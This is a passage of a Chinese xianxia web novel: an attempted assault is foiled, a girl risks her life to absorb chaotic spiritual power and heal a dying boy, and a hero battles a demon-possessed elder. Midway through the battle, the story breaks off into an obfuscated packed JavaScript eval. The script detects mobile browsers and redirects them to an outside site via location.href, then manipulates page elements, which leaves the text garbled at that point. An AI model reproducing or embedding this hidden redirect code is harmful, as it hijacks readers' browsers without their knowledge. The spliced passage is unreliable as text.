说着眼泛泪花,娇弱怯懦的模样煽动了吴沛的欲望,他眯起眼睛警惕追问:“你是哪个门派的,为何独自行动,袭击你的人又是谁?” 冉彤抽泣道:“晚辈是个散修,自幼失家,一直浪迹天涯,举目无亲。今日游历到石马城附近,不慎得罪了几个修士。他们欺我孤身,合伙将我禁锢丢弃在这儿,说是对我无礼的惩罚。”她哭了两嗓子,再次苦苦哀求:“前辈您救救我吧,大恩大德晚辈没齿难忘!” 吴沛顾虑全消,顿时把她当成送到嘴边的肥肉,不怀好意笑道:“救你可以,但你准备拿什么报答我?” 冉彤见鱼上钩了,佯装诚恳道:“晚辈定会尽一切努力报恩。” 一阵毛骨悚然的怪笑钻入她的耳孔,吴沛揪住她的衣襟色眯眯□□:“那就用你的元阴来酬谢我吧!” 他迫不及待剥她的衣服,伸出黑色的舌尖□□干燥开裂的嘴唇,两排焦黄的牙齿看得冉彤直犯恶心,急忙大声呼救。 吴沛不想浪费时间,贼手直接抓住她的腰带,想一举摘了这颗鲜桃。 净境女修的元阴不算大补也够他涨十年修为了。 正打如意算盘,一股怪力横空袭来,他像被巨浪拍击的浮木,毫无抵抗地飞在飓风中。 第二、第三、第四、第五波攻击潮头般接续涌来,打得他来回飞舞,无所依傍,身体在空中画出若干杂乱的直线。每次击打都像铁锤砸在棉花上,虽不致命,却让他体内翻江倒海,头眼昏黑。 感知到苏芳的灵力后他嚎叫着发出断断续续的求饶声:“大姐饶命!小弟知错了!” 冉彤望着他皮球般飞舞的身影,十分解恨,巴不得多看一会儿,苏芳像是体恤她的心情,足足拍了几百下才收手。 吴沛似压扁的青虫狠狠摔落,击起一片尘土,伤得不重,但被戏弄的屈辱和皮肉创痛已令他萎靡不振,灰头土脸爬起来逃走,立刻被脚下浮现的法阵困住了。 他见苏芳、古怀熹、秦不羁父子、王霸还有司马琨几人相继现身,明白自己着了他们的道,不敢对苏芳发作,先大骂秦不羁:“老秦,你居然用这么卑鄙的手段算计我,亏我还把你当兄弟!” 苏芳隔空扇他一耳光,吴沛的脸像被马蜂蛰过,即刻肿得老高。 苏芳詈骂:“苍蝇不叮无缝蛋,你不作恶岂会中计?” 她快步逼近吴沛,眼神如冰刀,割得他浑身发疼,脑袋一个劲儿往后缩。 “记不记得老娘上次说过,再让老娘逮到你盗取女子元婴,就把你炼成血尸。” 吴沛牙齿打架,苍蝇似的飞快拱手求饶:“大姐我知错了,再也没有下回了,您发发慈悲,多给小弟一次机会!” 众人都乐见此景,王霸连和司马琨吵架的帐一并算他头上,插嘴恐吓:“老六,你可知这小丫头是谁?她是夏炎新收的干女儿,要是被夏炎知道你刚才干的坏事,他会如何对你?” 吴沛像遭雷劈了,惊木片刻,转向苏芳哭丧:“大姐,小弟明白了,一切照您的指示做,您让我干嘛我就干嘛,敢有半点违拗,任凭处置!” 苏芳哼他一鼻子,让秦不羁把儿子抱过来,指着吴沛问秦万岁:“万岁,你说此人该不该杀?” 秦万岁拼命睁开双眼,只剩眨眼的力气。 吴沛怕苏芳会错意,仓皇吼叫:“万岁,你可别害六叔啊!六叔给你治病还不成吗?” 苏芳又问秦万岁:“万岁,你要是求我不杀吴沛就再眨眨眼。” 秦万岁果然又眨了下眼,吴沛呼出一口长气,沮丧地坐倒在地。 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五色光芒交汇,仿若绚丽的彩虹将秦万岁笼在其中。 秦万岁浑身战栗,皮肤下有无数细小的光流涌动游走,发出轻微的噼啪声。 强烈的灵力在空气中弥漫,冉彤注意到四周的植物正加速生长,矮小枯黄的植株看看长成一丈高的大树,仿佛吸取了多年的天地精华。 她心下震撼,感叹这五人的功力集合起来竟有起死回生之效,不知道自己几时能达到这种境界。 经过一天一夜持续传导,秦万岁的脸逐渐恢复血色,呼吸平稳了许多。 待到五人收功,秦不羁不顾疲劳,凑上去问:“万岁,你感觉如何?” 秦万岁已能开口说话,点头说:“有劳长辈们费心,孩儿好多了。” 话未完,他突然皱眉苦脸,哇的喷出一大口血。 众人大惊,急忙近前查看,发现他们注入到秦万岁体内的灵力正在解体,一股异常的力量不断分裂、瓦解着它们,持续下去秦万岁将会爆体而亡。 “这是怎么回事!” 秦不羁抱住儿子,急得想撞墙。 古怀熹紧盯秦万岁,双目绽放锐光,沉声道:“方才一人的灵力里混入了有毒的阴气,导致散功。” 秦不羁闻言怒问是谁干的。 吴沛眼珠一转,指着司马琨尖叫:“一定是他!这里只有他天天和毒物打交道!” 司马琨勃然大怒,铁青着脸骂他:“你他娘的少血口喷人!” 说完毫不犹豫咬破指尖在掌心画出一道血咒,啪地拍在脑门上,瞪眼厉吼:“我司马琨以血为誓,若对秦万岁下毒之人是我,即刻叫我经脉寸断,化为脓血!” 血咒闪着红光消散,立誓人安然无恙。 司马琨冷冷注视吴沛,鄙夷道:“看清楚了?你司马大爷可不是只会耍阴招的小人。你可敢学我下咒自证!?” 他用恶咒赢得了清白,冉彤肃然起敬,觉得此等耿直磊落的人值得交往。 苏芳闻声赶来,如电的目光扫视过秦万岁全身,鉴定:“这不是普通阴气,是恶妖的妖力!” 她转身揪住吴沛,拎小鸡一样将他提了起来。 吴沛梗着脖子叫嚷:“大姐,我什么都没干啊!” 苏芳毫不理睬,掏出他的储物袋搜查,从中找到半颗妖丹,上面残存的妖气与秦万岁体内的妖力一模一样。 “这是什么?” 她将妖丹举到吴沛眼前,脸似厉鬼。 吴沛浑身瘫软,脑门不停淌汗,结巴招认:“上个月我猎杀了一只化形水母妖,炼化妖丹时不慎沾染了妖力……我就是顾虑这点才没答应为万岁治病,可你们硬要强迫我……” 王霸跺脚怒斥:“你真有顾虑何不早说?我们有的是办法帮你祛除妖力,就是你自己也并非办不到。我看你分明存心害人,想弄死万岁,以后就没人烦你了!” 秦不羁暴跳如雷:“畜生!我儿子要有个好歹,你也别想活!” 他转身扑到苏芳脚下,惶悚哀求:“大姐,求您救救万岁!” 此刻,秦万岁的皮肤上已浮现突起的血管,犹如一条条即将冲破堤坝的河流,翻腾蔓延,这是爆体的前兆。 苏芳摇头叹气:“到了这地步我也没法子,只能杀了姓吴的给万岁报仇。” 吴沛魂飞魄散,尖叫哭嚷:“大姐,我是冤枉的!我是冤枉的!都是你们逼我,我要见君上!我要见君上!君上救命啊!君上!” 秦不羁抱着秦万岁泪雨滂沱,嘶哑哭喊:“万岁,爹没用,救不了你……”,他忽然抬起头望空疯吼:“死鬼娘们,我们的儿子要死了,这下你满意了吧?这下你满意了吧!” 古怀熹不忍地拍着他的肩头,低声劝说:“老三,万岁这样太难受了,让他走得轻松些吧。” 秦不羁痛哭流涕,紧紧抱住儿子,不许任何人碰他。 凄惨景象令冉彤揪心扒肝,努力转动脑筋搜寻阻止悲剧的方法。 苏芳冷着脸制住秦不羁,硬生生从他怀里夺走秦万岁,让古怀熹动手了结这一切。秦不羁拼命挣扎,疯狂向儿子伸手,想抓住他逝去的生命。 王霸和司马琨一个伤心垂头,一个背转身去。古怀熹看着不停呻、吟的秦万岁,苦涩安慰:“万岁,是我们疏忽大意害苦了你,二叔这便帮你解脱。” 他抬起右手,食指聚集灵力,只消运功秦万岁就会毫无知觉地死去。 “不要啊!” 秦不羁的哭喊震动山野,拖着长长的尾音,犹如经久不息的风暴。 一个闪电般清脆的声音在古怀熹出手前及时穿插进来。 “等等!我有办法!” 78.救人 众人的视线聚焦到冉彤身上,化作天大的担子压着她。 她心如雷动,后背冒汗,但紧迫局势容不得她退缩,鼓起勇气,微颤的语音包含截然相反的坚定:“昨天苏前辈教了晚辈‘海纳百川诀’,诸位可设法将秦公子体内溃散的灵力导入晚辈体内,待晚辈加以融合后再传回给他,这样或许能保住他的性命。” 苏芳惊喜:“老娘本打算用这招,可惜功法相斥反会致命,而且万岁也承受不住传功的威力。这丫头修为低,传功力道不猛,修的功法又对万岁无害,没准能行。” 古怀熹峻色告诫冉彤:“万岁承接了我们五人的灵力,散功时的力量异常猛烈,你修为尚浅若压制不住同样会爆体。” 王霸也担忧劝阻:“冉丫头,你可不能用自个儿的小命做赌注啊,凡事得想仔细了。” 冉彤目光扫过那几张表情不一的面孔,最后落定在秦不羁脸上。 他双眼布满血丝,泪水未干,正用一种近乎乞求的眼神望着她,已把她当成了救星。那种期待与无助交织的眼神令她难以抗拒,咬了咬牙,义无反顾道:“晚辈能行,请诸位助我一臂之力!” 苏芳可算明白夏炎为何会收这丫头做女儿了,这份大无畏的果敢很符合他的个性。 她未表露欣赏,冷酷警告:“这是你自己的决定,出了差池可怨不得别人。” 冉彤深呼吸,果决道:“死活都是晚辈的命,与人无尤。” 苏芳点了点头,转身指挥众人行动。 秦不羁等五人重新按五星阵法围坐,这次以冉彤为中心。 苏芳待她盘膝坐定,将秦万岁悬浮于她头顶,对其施法,指导她吸纳秦万岁体内的灵力。 冉彤按她说的结印运功,溃散的灵力登时像狂暴的洪流涌入她的筋脉,毫不留情地横冲直撞,四下泛滥。 这五种灵力分裂后彼此排斥斗争,让她由内到外撕裂一般反复剧痛。 她咬紧牙关,全力融合紊乱的灵力,经脉犹如脆弱细小的河床,承受着滔天巨浪的冲击,稍有不慎便会崩溃。 施救难度远不止这点,秦万岁散功时五行灵力此消彼长,要达到平衡须补充缺失的灵力。 古怀熹和王霸先向她输入火土灵力,冉彤承受着双重攻击,痛苦加剧,喉咙腥甜,一股鲜血冲口而出。 古怀熹和王霸想停手,被苏芳呵斥:“不许停,否则前功尽弃!” 二人面色凝重,王霸谎张道:“这丫头会不会当场没命啊?” 他对夏炎忠心耿耿,将保护师父的义女视做不可推卸的责任,生怕冉彤有闪失。 古怀熹情绪内敛,心中忧急不亚于他。 妹妹总共只育有一双儿女,都英年早逝了,只这孙女能延续她的血脉,可不能死在他眼前。 苏芳还未开口,冉彤先挣扎接话:“二位前辈放心,救人要紧,晚辈撑得住!” 谁都看得出也想得到她承受的痛苦与风险,别说古怀熹和王霸,秦不羁也因她的仗义深深动容,对她怨气全消,还为之前那些粗暴恐吓的行径深感羞愧。 苏芳密切监控冉彤和秦万岁的状况,精准地向冉彤发送指令。 多亏她判定准确,处置果断,加之神木牌的强大支援,冉彤虽吃尽苦头,仍有惊无险地完成了初期的融合。 之后金灵力开始衰减,司马琨向其传功。 金气是五行之力中最刚猛霸道的,像一把锋利的钢锥刺穿了冉彤全身经脉。她不住痛哼,身体痉挛,看上去随时会瘫倒,但靠毅力一次又一次顶住剧烈的摇晃,不言放弃。 这时救人的念头已退居次要,她将本次试炼当做苦修,誓要克服困难,超越自我。 我的目标是成为顶尖的大修士,问鼎修真界,为爹娘伸冤,为天下所有受压迫的人讨要公道,这点磨难只算修行路上细小的绊脚石,休想让我止步! 一个时辰后司马琨缓缓收功,他脸颊泛白,头顶雾气蒸腾,这场传功对他也是不小的损耗。 冉彤像从水里捞出来的,脸上黏满发丝,嘴唇也被咬出几道血痕,坚韧不拔的眼神始终未变。 秦不羁接替司马琨上阵,冉彤对木系灵力运用得相对熟练,掌握了一定的疏导方法,感觉比之前稍微轻松些。 在她和秦不羁对接期间,古怀熹监督协助吴沛净化了妖力,后面该轮到他了。 苏芳面带杀气地警告吴沛:“再出差错,老娘立马剁碎了你。” 吴沛早已吓破胆,信誓旦旦立保证,老实执行她的命令。 他向冉彤传功的时间最长,三个时辰过去仍没填满那黑洞般的缺口,心下直叫苦,估计这回少说得损失五十年的功力。望着对面的少女,恶念止不住地涌起,寻思:这丫头承受了这么多法力,肯定支撑不住,最好死快点,让这些人狠狠难受一回。 冉彤陷入持久的苦战,体力透支严重,每次融合灵力都像在穿越刀山火海,意识渐渐迷糊,视野出现重影,鼻孔耳孔嘴角不断涌出血丝,脏腑肌体的损伤正不断加剧。 苏芳忙号令众人:“这丫头快撑不住了,谁有疗伤健体的丹药,赶紧拿出来!” 司马琨抢先掏出药瓶,倒出一粒红色的小药丸。 那药丸闪着淡淡的荧光,像一颗新萃取的朱砂。 他将药丸飘送到冉彤嘴边,被古怀熹拦截。 “此药对她来说过于猛烈,见效虽快却会透支寿元,日后还会令她修为停滞,断不可用。” 王霸忙送上自己炼制的丹药,说:“我这药不如老七的效力强,吃了却无害,凑活着用吧。” 司马琨犹豫片刻,掏出一个精致的小玉匣,打开盖子,里面躺着三粒白玉般润泽的丹药,芳香扑鼻,闻一闻便精神振爽。 观者双眼为之一亮,王霸惊叹:“‘百灵焕神丹’!老七,你还藏着这种宝贝啊!” 吴沛本来没注意他们,听到这个名词也连忙细看那丹药。 此丹需集齐一百种妖兽的内丹,混合多种珍贵药材,经数十道复杂工艺淬炼,是不可多得的珍品。 司马琨叹气:“这丹药效力强,没有毒副作用,还能大大增进修为,我花了两百年才炼成这三粒,今天便宜这丫头了。” 秦不羁忙说:“老七,这份恩情算在我秦不羁头上,日后必定加倍报答你!” 司马琨正色道:“三哥这就见外了,以往你也给过我不少关照,万岁这孩子又讨人喜欢,我心甘情愿帮你们父子,换做旁人,就算天王老子出面也别指望我这么出力。” 冉彤服下丹药,一股温润强大的力量立刻抚平她的伤痛,精神也焕然一新,苍白的脸色泛起红光,像冬去春来的树木生出茁壮的枝叶,又能抵御风雨洗礼了。 在药力加持下,她稳步推进,一昼夜后终于成功将秦万岁体内混乱的灵力吸收干净,解除了他的爆体危机。 苏芳即刻施法抽取她已融合的灵力,以丝线状的微小剂量缓缓输入秦万岁身体,为其治愈病症,并提醒冉彤:“还早着呢,万岁需要大量融合灵力,你继续运功,不可有丝毫懈怠。” 冉彤聚精会神干活儿,由于五行之力持续出现多寡不均的现象,秦不羁等人仍轮流向她输送灵力。这个过程中她多次重复体验了艰难痛楚,依旧靠意志硬挺,中途司马琨又给了她一粒“百灵焕神丹”,为她提供了关键助力。 她像个不知疲惫的苦行僧在苦海中跋涉了七天七夜,到第八天清早秦万岁终于接收到了足够的治愈之力,病情得以康复,又能安安稳稳活个几十年了。 冉彤体内还剩余大量灵力,像高耸的危岩,必须赶紧消耗掉。 苏芳想帮她散功,古怀熹却说:“这些灵力都是我们五人多年辛苦积攒的修为,白白散掉太可惜。不如让我协助这丫头用来炼化她的内丹。” 冉彤似被金山砸中,不敢相信能有这好运气,看古怀熹更觉亲切了。 司马琨戏谑:“二哥还真维护这丫头,难不成之前就认识她?” 古怀熹笑道:“我无非是欣赏她的个性,难得遇上一个对胃口的小辈,想顺便结个善缘。” 王霸趁机夸奖冉彤:“这丫头有胆色,够义气,是棵难得的好苗子。” 他觉得夏炎是全天下最有眼光的伯乐,被他老人家相中的都是顶呱呱的千里马。 吴沛满心怨恨,阴损道:“是好苗子才危险呢,今后说不定被老夏培养来对付君上。按七曜城的规矩应当提前灭了她,永绝后患。” 最后一个字没说完便被苏芳抽飞到空中,他脑袋嗡嗡响,脖子险些折断,稳住身形后惶恐求饶。 苏芳怒斥:“讨人嫌的东西,这儿没你什么事儿了,滚吧!” 吴沛仿若听到虎啸的黄鼠狼张皇飞逝,一边逃一边咒骂。这回亏吃得太大,不仅损失大量修为还在同僚们跟前丢尽颜面。 在他看来,苏芳、古怀熹等人分明是故意针对他,“十柱石”里另外几人都以他俩马首是瞻,铁板一块联合起来对他实行孤立、欺辱。 他越想越气,决定去找白子落告状。这主公向来自诩公正,就不信他会当众偏私,损害自身威信。 冉彤在古怀熹辅助下开始炼化内丹。 祖辈们留下的丹力浑厚坚实,炼化起来 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王霸了解她的想法,揶揄秦不羁:“三哥,那天在松阳你也说自己眼瞎,错把这丫头当好货,我看你得抽空好好找大夫医一医眼睛,不然脑子也会跟着坏掉。” 余人哄笑,秦不羁罕见地没发火,跟着大伙儿开怀大笑,各自消除了紧张疲惫。 冉彤和夏炎分开久了,非常挂念他,思忖老鬼不知怎么着急呢,小心问苏芳:“苏前辈,晚辈担心干爹,我们是不是该去找他了?” 苏芳见夏炎的心比她更切,说声:“走吧。”,也不向同伴们道别,撑起纸伞转身上路。 秦不羁忙拦住,热诚道:“大姐这次帮了我,我也得帮你做些事。你去见老夏说不得又要受闲气,兄弟去替你扎场子。” 他将秦万岁托付给古怀熹,古怀熹对苏芳说:“君上命我等追查夏炎的行踪,今日正好一齐去找他,问问他将来做何打算。” 苏芳为私怨找夏炎,很忌讳牵扯别的是非,责问古怀熹:“你觉得他会跟你们说实话,还是以为自个儿有本事绑了他去见白师弟?老娘陪你们耗了这么久够意思了,识相的少来掺和!” 人们窘然哑口,秦不羁没眼力见,依然热心道:“大姐,我不为公事,只想给您助阵,老夏若欺负您,老子打不过也能扎扎实实骂他一顿!那老鬼最不经骂,稍微来几句味儿冲的他就得脸红脖子粗。” 冉彤听得起火,暗忖这人好没记性,刚刚才说报恩,这会儿又无视她的感受,大肆攻击夏炎,往后还得给他点教训。 苏芳觉得秦不羁骂人够脏,确实符合她当前的需求,同意带他随行。 两拨人分道扬镳,冉彤跟着苏芳向灵樾森进发,陷入新一轮的忧虑,琢磨着该如何阻止她和夏炎之间的冲突。 苏芳突然止步,毫无预兆地回首向她注入一道气劲。 冉彤胸口登时像压了座大山,呼吸中断,肺叶都被抽扁了,恐怖的窒息感与死意紧密相连,让她险些魂魄离体。 正当她疑惑绝望时,苦状全部消失,她猛吸一口气,剧烈的咳喘声在阒静的山野间分外清晰。 “这是幽影缚,今后你若敢反抗老娘,元神都会被绞碎。” 苏芳话音冰冷,像在蔑视一只小虫子,还含着毋庸置疑地杀气 冉彤暗暗叫苦,疯子果然是疯子,指望她心软都是自己太天真。 秦不羁忙安慰:“你别怕,乖乖听大姐的话就不会有事。” 和疯子没法说理,冉彤自认倒霉,深知苏芳这么做是确保能利用她最大限度地要挟夏炎,这致命的枷锁将使她的处境倍加凶险。但她并不太恐慌,相信夏炎会想办法解救她。 三人很快抵达灵樾森,进入森林便被封家的防护禁制逼停。 苏芳毛躁地挥手射出数道雷电,禁制遭受重击,林地轰轰晃动,俄尔引来两个矫健的身影,是封三郞和封二娘。 姐弟俩警惕打量苏芳和秦不羁,时刻备战,看清跟在二人身后的少女是冉彤时,立时面露喜色。 “冉彤,你没事吧?这几天可把夏爷急坏了!” 封三郞关切询问冉彤,封二娘则沉色郑告苏芳:“苏道友,你绑架人质太过无礼,既来到我封家的地盘,还请即刻放人!” 苏芳懒得正眼瞧他俩,粗鲁回呛:“凭你们还不配跟老娘讲话,去叫姓夏的出来,藏头露尾算什么男人。” 封三郎和封二娘对视一眼,都明白不是这疯婆子的对手。 封三郞迟疑道:“你们来晚了一步,夏爷已去伏牛山解救地母了。” 79.玉玲珑 连日来夏炎和封无牙用神识寻遍凡界,终于在南华州北部的伏牛山找到关押地母的山谷。彼处禁制森严,神识难以介入。 时间紧迫,他和封无牙商定分头行动,由封无牙出面去联络六大妖王。地母的处境干系整个凡界的安危,解救她是妖族责无旁贷的义务。若离恨天介入,他们应当提供援助。 封无牙料想问题不大,让夏炎带上封大郎和封五娘做帮手。 夏炎想他兄妹俩修为不弱,但跟玉玲珑等人对阵还是会吃亏,不愿他们冒险,坚持只身前往。 封无牙放心不下,想派封大郞代他去报讯,亲自陪同夏炎去伏牛山。 夏炎缜密思虑后仍觉不妥。 “据我所知,近年来六大妖族间矛盾颇多,需由一个德高望重的长者出面分说,妖王们方能暂弃前嫌,携手抗敌,此事非驸马爷亲自出马不可。” 封无牙细想在理,怕自己的老脸不够用,准备再约几个有威望的耆老分头游说。 他始终不放心夏炎孤身行动,夏炎说:“我已恢复一半法力,还应付得来。驸马爷可先去通知妖王们,事成后再来助我。” 他离开灵樾森前往目的地,须臾已至伏牛山地界,放眼望去,只见山峦叠嶂,云雾缭绕,与普通深山无异。进山不久一股阴邪之气扑面而来,像无形的触手纠缠阻挠,并且攻击人的神识。 极境中期以下的修士到此必受迷惑,离恨天的守备当真严密。 他有意步行深入,脚下的落叶积了三尺厚,大多烂成淤泥。 空气中腾漫着腐朽的臭气,景物也越来越诡异,树木枝干扭曲变形,树皮上遍布黑色纹路,仿佛畸形的血管。 看不到任何鸟兽的踪迹,倒有不少枯骨和半腐烂的动物尸体,昭示着整个区域已被邪恶的力量侵蚀。 夏炎走了半天犹在原地徘徊,他早发现此地布有大型迷踪阵,故意受困,借此探查布阵者的气息。此刻神识已如流水弥散到 法阵各个角落,与一股强烈的,充斥无尽恶意的魔气接壤。 是魔族的气息。 他之前便怀疑毗沙与魔族勾结,事实果然如此,这样离恨天能囚禁地母也就说得通了。 他施法逼出魔物,脚下散开一层如花朵般绽放的紫红色火焰,火花霎时漫山遍野盛放,是混合了三昧真火的紫霄神焰,制伏魔物有强效。 翻涌的血色浓雾凭空包围了他,四周顿时伸手不见五指,他的神识也难穿透浓雾的边缘,判断敌人少说有千年道行,比他以往见过的魔物都强大得多。 他右手捏诀,火海里钻出许多网格状的金色丝线,引动火焰形成火网,嗤嗤切割空气,任何事物都无所遁形。 近处响起一阵妖媚的笑声,这女音饱含蛊惑人心的魔力,他若未寻回灵骨,恐怕也难抵挡。 笑声的源头散布在四面八方,让人捉摸不到女子的方位。 夏炎默念咒语,放出一群火鸟,连串激烈的爆炸声过后,笑声逼至他跟前,一个身着血红色金凤法衣的女人缓缓现身。 这女人美如奇迹,莹白的肌肤像被月光淘洗打磨的玉石,在血雾红衣映衬下仿佛吹弹即破。深潭般的绿眸藏着无限神秘与诱惑,眼波微微流转便令人失魂落魄。一头黑发似星河流淌的夜空,玫瑰般娇艳的红唇像含着诱人的谎言和未知的阴谋。 她的美俨然从腐尸中汲取养分的毒花,令人着迷、畏惧。又像一处精心编织的陷阱,让人明知危险,却又身不由己沉沦。 夏炎最初没认出对方,定睛细看,镇定中穿过一缕惊讶。 此女正是负责看押地母的离恨天太上长老玉玲珑。 记忆中玉玲珑修炼无情道,气质清冷,个性矜持,是一座不可攀登的冰山,一举一动都散发着高高在上,凛然难犯的神性。 而此刻的她发生了颠覆性的变化,那原本清纯圣洁的面容满是撩人风情,神态妖媚至极。着装大胆放浪,胸前风光和纤细腰肢都裸露在外,修长的双腿在裙摆间若隐若现,几近衣不蔽体的程度,比烟花女子更轻浮。 她双脚着地,纤腰摇曳着走向夏炎,像见到老相好那般媚笑着娇声打招呼。 “夏炎,一别千年,你可曾想我?人家可是着实思念你呢。” 夏炎无心探究她为何会变成这副鬼德行,冷面指责:“玉玲珑你竟和魔物勾结,离恨天果然没一个好东西。” 玉玲珑格格地笑,迈着狐媚轻盈的步伐围绕他踱步,肉麻撒娇:“你不是早就恨透离恨天所有人吗?难道以前还觉得我是个好东西?” 她身形一闪,瞬移到他耳边,温柔芬芳的气息轻轻拂过他的耳垂,魅惑低语:“我就知道你对我有情。” 夏炎像沾到腥臭的污秽,厌恶地伸手握住一把由火焰凝聚成的长刀,毫不留情劈砍玉玲珑。刀刃呼呼划破空气,如同死神愤怒的咆哮。 玉玲珑浪笑闪躲,不停戏谑:“哟,这么害羞,看来真被我说中了。其实我一直都很遗憾,当初刚见面就觉得你是个好男人,可惜那时太青涩腼腆,放不下陈规戒律,白白错过了如意郎君。” 她再度瞬移到他跟前,二人鼻尖几乎相碰。 夏炎感受到魔气强势入侵,忙用神目天通探查,捕捉到她体内蠢动的魔物。 玉玲珑毫不避讳地与之对视,一边释放媚术一边惋惜兴叹:“我知道你那会儿也很喜欢我,否则不会拼了命保护我,对吗?” “滚!” 夏炎不能忍受下流猥亵,狠辣地一刀洞穿她的胸腹,将她甩到半空,再施法收拢火网,转化成栏杆细密的火笼困住她。 玉玲珑遭烈火焚身,尖叫不止,然而这叫声却像浮夸的娇、喘,让激烈战况呈现暧昧诡异的氛围。 “这么上赶着和我亲热,是不是太猴急了?” 她挣扎着调侃夏炎,继续用浪荡的眼神戏辱他。 夏炎断定她被魔物迷乱了心性,快速念动降魔咒,千万道金色符文黄蜂般扑向玉玲珑,接连烙进她的细皮嫩肉,终于逼她发出痛苦的惨号,怨毒嘲讽:“男人果然只有年少时纯真可爱,上了年纪就会变得冷酷无情,索然无味。” 她的尾音陡然粗哑得不似人声,身后倏地长出三双手臂,八只手分别握着不同的法器,一齐朝夏炎发动攻击。 左边最上面的手持一把黑玉弯刀,挥动时释放黑龙形态的气刃。 下面的手拿着墨绿色玉瓶,瓶口涌出孢子状的毒雾,飞到夏炎的护盾上,留下斑斑点点的腐痕。 第三只手上是一把透明的水晶扇,扇起的烈风能压制神火。 第四只手托着八角形冰轮,转动中迸射暴雨般的冰锥,亦能损伤他的护盾。 右边最上方的手舞动镶嵌血红宝石的玄铁魔杖,魔气狂涌,袭击他的神识。 第六只手高举锈迹斑斑的古铜镜,镜光所到之处空间随之扭曲。 第七只手攥着一串由十八颗髑髅制成的念珠,十八张牙齿残缺的嘴轮流发音,组成震天的诅咒,消弭他的灵力。 最后一只手拈着魔纹金铃,铃声叮当,摄人心魂。 八件法器全方位打击对手的身心神魂,玉玲珑的战力也膨胀了八倍,双眼转为金色的竖瞳,血色染红青丝,恶狠狠冲夏炎叫嚣:“你要是死在我们相遇那年就好了,这样就不会破坏我美好的记忆!” 夏炎想起古籍中有关八臂魔的记载,这种魔物天生八臂,体如山岳,肤若玄岩,善于炼制各种法器,精通毒术幻术,狡诈□□,在魔族中地位显赫,是仅次于魔王的物种。 毗沙能联络八臂魔,说明他与魔界的勾结已然很深。魔族贪婪高傲,若非许以重利,它们断不会为其效力。 联系那直通魔界的残秽之渊,他越发笃定魔界早已在毗沙协助下开始了对凡间的渗透。 那老贼为摆脱天道束缚竟不惜献祭凡界众生,必须阻止他的阴谋! 面对玉玲珑天罗地网般的攻势,夏炎毫不慌乱,手中火刀变作长枪,一招挑灭黑龙,打断黑玉弯刀。 他强化护盾分解了孢子毒雾,罡气化箭雨击碎冰锥和冰轮。 接引太阳之力摧毁古镜、水晶扇和魔杖。 念动降魔咒与玉玲珑的诅咒对轰,震散髑髅念珠。 随后挥舞长枪将金铃铛挑到手中, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15060312|149507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五指一握,那法器像柔软的锡纸被捏扁焚化,金粉自他指缝间流出,再被他狠狠抛向身后。 玉玲珑眼看夏炎逐一破解了她的法术,非但不惊慌,反而满面春色,更兴奋地浪笑:“不愧是我心仪的男人,连调情的手法都比别人高明。” 夏炎冷斥:“还有什么花招,尽管使出来。” 玉玲珑右边唇角高高挑起,恶魔般微笑:“别急嘛,我一定把你伺候得舒舒服服的。” 她陡然变声,嗓音再次粗哑恶毒。 仿佛得到魔力召唤,火海中钻出无数坚如精铁的植物枝干,集结形成一只只巨大的魔爪,狠狠拍向夏炎,死死包裹他,并且释放出至阴至毒的绿色瘴气,腐蚀他设下的防御阵。 “我倒要看看凭你仅剩一半的法力能在我手上撑多久。” 玉玲珑的狞笑毒蛇似的在夏炎耳边嘶鸣,八只手臂舞动结印,操控魔化的树枝变换攻击方式和力度,寻找法阵的弱点。 夏炎暗道她与魔物融合后法力与过去不可同日而语,假如是全盛时期的他自不足为虑,眼下应付起来着实有些棘手。 他身经百战,局势不利仍泰然自若,捏决施法,让火海暴涨十余丈,吞没了怪树粗滕。 火焰与魔植相互蚕食,散播着焦糊与恶臭。 魔植不断被焚化,转眼又于灰烬中钻出新的枝干,无穷无尽地生长。 玉玲珑轻蔑狂笑:“想跟我比耐力,那就来吧!” 她念出长串魔音,众多巨型魔树拔地而起。它们高愈城墙,宛若人形,迈着沉重的步伐,成群结队穿行于火海中,挥舞枝丫扫荡烈焰,试图扑灭火势。 火焰与魔植对抗的轰鸣惊天动地,火光与魔气交融,构成一幅地狱般诡谲的画面,双方势均力敌,惊人战况无休止地延续着…… 苏芳听说夏炎去伏牛山了,立马动身追踪,让冉彤留在灵樾森。 冉彤挂念夏炎,忙问:“苏前辈,您会帮干爹搭救地母娘娘吗?” 苏芳嗤笑:“那要看姓夏的什么态度了,他若求我,老娘或许会考虑帮他一把。若惹老娘生气,我便帮离恨天收拾他。” 冉彤心头一紧,想跟去随机应变接应夏炎,央求:“晚辈想去开眼界,您带上我吧。” 苏芳知道此行凶险,带上这丫头就得保障她的安全,嫌麻烦不肯应允。 冉彤明的不行来暗的,先假装泄气,再高兴地自言自语:“也好,等封老前辈回来我就让他帮我解开幽影缚。” 随后匆忙捂嘴,好像不小心说漏了。 苏芳骤然变脸,双眼寒光闪闪地盯着她,明知她在使诈威胁也不能不中计。 “死丫头敢摆布老娘,你既存心找死,老娘便成全你,待会儿遇到危险,别指望老娘救你。” 冉彤如愿以偿,却遭封三郎强烈反对:“冉姑娘你不能去啊,危险不说,还会让夏爷分神的。” 秦不羁也劝:“冉丫头,这不是小孩过家家的事,你跟去只会添乱。” 这时封三郞的妻子和封四郎夫妇收到封二娘传音赶了来,封二娘严声向苏芳交涉:“苏道友,你法力再高,合我姐弟五人之力也足以抵敌,你若不留下冉彤,今日别想走出灵樾森!” 她带头释放灵压,封三郞等人跟随,五人灵光冲天,气势如虹。 苏芳仰天打个哈哈:“就凭你们?老娘正想给我的珍儿做点零食,就以你们五个的妖丹为原料吧!” 她爆发出更为恐怖的灵压,犹如深渊恶兽降临,产生的黑气遮天蔽日。 秦不羁是来给她扎场子的,不管对手是谁都无条件上,他的灵压加入后现场刮起超大龙卷风,附近景物笼罩在毁灭的气象中。 冉彤心惊胆战,视线在双方之间来回游移,生怕这两拨人打起来,急忙传音秦不羁。 “秦前辈,和封家人打架没意义,不管伤了苏前辈,还是跟封无牙结仇,对七曜城都没好处。您快带晚辈逃跑,甩掉封家人再说!” 